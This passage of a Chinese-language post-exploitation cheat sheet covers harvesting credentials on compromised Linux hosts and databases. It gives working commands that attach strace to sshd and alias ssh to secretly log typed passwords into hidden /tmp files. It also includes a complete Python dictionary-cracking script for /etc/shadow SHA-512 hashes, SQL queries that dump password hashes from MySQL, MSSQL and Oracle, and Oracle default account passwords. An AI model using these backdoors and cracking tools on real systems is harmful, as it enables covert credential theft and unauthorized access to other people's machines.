-F -P `ps aux|grep "sshd -D"|grep -v grep|awk '{print $2}'` -t -e trace=read,write -s 32 > /tmp/.sshd.log 2>&1 & ) 726 | ``` 727 | 728 | 记录量往往很大,可以grep一下。 729 | 730 | ```shell 731 | grep -E 'read\(6,".+\\0\\0\\0\\.+")' /tmp/.sshd.log 732 | ``` 733 | 734 | 735 | 736 | #### 3.3.2 strace-ssh 737 | 738 | 如下面一个alias后门。或将strace命令写入shell脚本进而部署成hash后门或PATH优先级后门。 739 | 740 | ```shell 741 | alias ssh='strace -o /tmp/sshwd-`date '+%d%h%m%s'`.log -e read -s2048 ssh' 742 | ``` 743 | 744 | 745 | 746 | ### 3.4 OpenSSH后门 747 | 748 | 专门写了一篇[OpenSSH后门制作](https://github.com/aplyc1a/blogs/blob/master/OpenSSH后门制作.md),使用定制化的OpenSSH后门,其稳定性与隐蔽性较前面的方案都高。 749 | 750 | ## 4 凭据破解 751 | 752 | Linux下的凭据破解主要针对/etc/shadow,网上有很多现成的脚本,当然也可以放到cmd5.com上试着查查。下面是[网上的某python3爆破脚本](https://www.cnblogs.com/Cl0ud/p/14382258.html?ivk_sa=1024320u)。 753 | 754 | ```python 755 | import hashlib,math 756 | 757 | 758 | def rstr_sha512(text: bytes) -> bytes: 759 | sha512 = hashlib.sha512() 760 | sha512.update(text) 761 | return sha512.digest() 762 | 763 | def _extend(source: bytes, size_ref: int) -> bytes : 764 | extended = b"" 765 | for i in range(math.floor(size_ref/64)): 766 | extended += source 767 | extended += source[:size_ref % 64] 768 | return extended 769 | 770 | def _sha512crypt_intermediate(password: bytes,salt: bytes) -> bytes: 771 | #digest_a = rstr_sha512(password + salt) 772 | digest_b = rstr_sha512(password + salt + password) 773 | digest_b_extended = _extend(digest_b,len(password)) 774 | intermediate_input = password + salt + digest_b_extended 775 | passwd_len = len(password) 776 | while passwd_len!=0: 777 | if passwd_len&1 == 1: 778 | intermediate_input += digest_b 779 | else: 780 | intermediate_input += password 781 | passwd_len >>= 1 782 | return rstr_sha512(intermediate_input) 783 | 784 | def _sha512crypt(password :bytes,salt :bytes,rounds :int) -> bytes: 785 | digest_a = _sha512crypt_intermediate(password, salt) 786 | p = _extend(rstr_sha512(password*len(password)),len(password)) 787 | s = _extend(rstr_sha512(salt*(16+digest_a[0])),len(salt)) 788 | digest = digest_a 789 | for i in range(rounds): 790 | c_input = b"" 791 | if i&1 : 792 | c_input += p 793 | else: 794 | c_input += digest 795 | if i % 3: 796 | c_input += s 797 | if i % 7: 798 | c_input += p 799 | if i & 1: 800 | c_input += digest 801 | else: 802 | c_input += p 803 | digest = rstr_sha512(c_input) 804 | return digest 805 | 806 | def sha512crypt(password :bytes,salt :bytes, rounds=5000) -> str: 807 | salt = salt[:16] # max 16 bytes for salt 808 | input = _sha512crypt(password, salt, rounds) 809 | tab = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 810 | order = [ 42, 21, 0, 1, 43, 22, 23, 2, 44, 45, 24, 3, 811 | 4, 46, 25, 26, 5, 47, 48, 27, 6, 7, 49, 28, 812 | 29, 8, 50, 51, 30, 9, 10, 52, 31, 32, 11, 53, 813 | 54, 33, 12, 13, 55, 34, 35, 14, 56, 57, 36, 15, 814 | 16, 58, 37, 38, 17, 59, 60, 39, 18, 19, 61, 40, 815 | 41, 20, 62, 63] 816 | output = "" 817 | for i in range(0,len(input),3): 818 | # special case for the end of the input 819 | if i+1 >= len(order): # i == 63 820 | char_1 = input[order[i+0]] & 0b00111111 821 | char_2 = (input[order[i+0]] & 0b11000000) >> 6 822 | output += tab[char_1] + tab[char_2] 823 | else: 824 | char_1 = input[order[i+0]] & 0b00111111 825 | char_2 = (((input[order[i+0]] & 0b11000000) >> 6) | 826 | (input[order[i+1]] & 0b00001111) << 2) 827 | char_3 = ( 828 | ((input[order[i+1]] & 0b11110000) >> 4) | 829 | (input[order[i+2]] & 0b00000011) << 4) 830 | char_4 = (input[order[i+2]] & 0b11111100) >> 2 831 | output += tab[char_1] + tab[char_2] + tab[char_3] + tab[char_4] 832 | if rounds!=5000: 833 | return "$6$rounds={}${}${}".format(rounds,salt.decode("utf-8"),output) 834 | else: 835 | return "$6${}${}".format(salt.decode("utf-8"),output) 836 | 837 | def testPass(cryptPass): 838 | salt,shadowPass=cryptPass.split('$')[2],cryptPass.split('$')[3] 839 | dictFile=open('dictionary.txt','r') 840 | for word in dictFile.readlines(): 841 | word=word.strip() 842 | # print(word) 843 | tempPassWord=sha512crypt(bytes(word, encoding = "utf8"), bytes(salt, encoding = "utf8"), 5000) 844 | # print("temppassword is {}".format(tempPassWord)) 845 | # print("shadowpassword is {}".format(shadowPass)) 846 | if cryptPass==tempPassWord: 847 | print("[+] Found Password {}".format(word)) 848 | return 849 | print("[-] Password Not Found ") 850 | return 851 | 852 | 853 | def main(): 854 | passFile=open('passwords.txt') 855 | for line in passFile.readlines(): 856 | if ":" in line: 857 | user=line.split(':')[0] 858 | cryptPass=line.split(':')[1].strip(' ') 859 | print("[*] Now cracking Password For :{}".format(user)) 860 | 861 | testPass(cryptPass) 862 | 863 | if __name__ == "__main__": 864 | # 与crypt.crypt("123456","$6$123456") 运算结果一致 865 | # print(sha512crypt(b"123",b"DhlRUwqV",5000)) 866 | main() 867 | ``` 868 | 869 | ## 5 docker挖掘 870 | 871 | 查看系统内有无docker镜像或已启动的docker容器。 872 | 873 | ```shell 874 | docker images 875 | docker ps 876 | ``` 877 | 878 | 如果有可以打开docker,翻阅内部有无敏感数据。具体拉起docker的命令可能不同镜像有差别,可以参考历史记录内的docker相关操作。 879 | 880 | ```shell 881 | #启动 882 | docker run -it **** 883 | #进入 884 | docker exec -it **** /bin/bash 885 | ``` 886 | 887 | 进入docker内可以重点关注web服务的配置文件,查看诸如数据库的连接口令及访问方式,redis地址信息等。 888 | 889 | # 数据库内数据搜集 890 | 891 | ## 1 翻找密码 892 | 893 | ```mysql 894 | /*MySQL数据库内找密码*/ 895 | SELECT TABLE_NAME FROM `information_schema`.`COLUMNS` where `COLUMN_NAME` like '%pass%'; 896 | SELECT TABLE_NAME FROM `information_schema`.`COLUMNS` where `COLUMN_NAME` like '%pwd%'; 897 | ``` 898 | 899 | https://mp.weixin.qq.com/s/vRZOUOnDRCagr8IgUehIlg 900 | 901 | ## 2 数据库特权账户口令 902 | 903 | ### 2.1 MySQL 904 | 905 | ```shell 906 | #select * from mysql.user; 907 | select host,user,authentication_string from mysql.user; 908 | select host,user,password from mysql.user; 909 | ``` 910 | 911 | 912 | 913 | ### 2.2 MSSQL 914 | 915 | 这部分参考网文。 916 | 917 | https://mp.weixin.qq.com/s/vRZOUOnDRCagr8IgUehIlg 918 | 919 | ```shell 920 | # MSSQL 2000 921 | select name,password from master.dbo.sysxlogins 922 | select master.dbo.fn_varbintohexstr(password) from master.dbo.sysxlogins where name='sa' 923 | 924 | # MSSQL 2005 925 | select name,password_hash from sys.sql_logins 926 | 927 | # MSSQL 2008R2 928 | Select name,password_hash from sys.sql_logins where name = 'sa' 929 | 930 | # MSSQL 2012R2 931 | select name,password_hash from sys.sql_logins 932 | 933 | # MSSQL 2016 934 | select name,password_hash from sys.sql_logins 935 | ``` 936 | 937 | 938 | 939 | ### 2.3 Oracle 940 | 941 | Oracle有三个默认账户: 942 | 943 | sys:change_on_install 944 | 945 | system:manager 946 | 947 | scott:tiger 948 | 949 | 可以登上数据库后输入以下命令查看 950 | 951 | ```shell 952 | select username,password from dba_users; 953 | ``` 954 | 955 | --------------------------------------------------------------------------------